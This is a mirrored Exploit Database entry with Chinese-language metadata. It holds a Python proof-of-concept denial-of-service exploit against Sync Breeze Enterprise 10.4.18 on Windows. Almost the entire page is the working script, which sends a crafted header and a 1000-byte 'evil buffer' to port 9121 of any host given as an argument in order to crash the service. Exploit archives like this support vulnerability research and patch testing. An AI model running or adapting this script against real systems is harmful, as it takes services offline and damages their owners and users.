Sync Breeze Enterprise 10.4.18 – Denial of-Service (PoC)

• Exploit Database
• 46 阅读

• 作者： Mr Bruce
  日期： 2018-04-01
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44481/

• #!/usr/bin/python
  import socket
  import sys
  from struct import pack
  
  try:
  server = sys.argv[1]
  port = 9121
  size = 1000
  
  inputBuffer = b"\x41" * size
  
  header =b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])
  
  buf = header + inputBuffer 
  
  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()
  
  print("Done!")
  
  except socket.error:
  print("Could not connect!")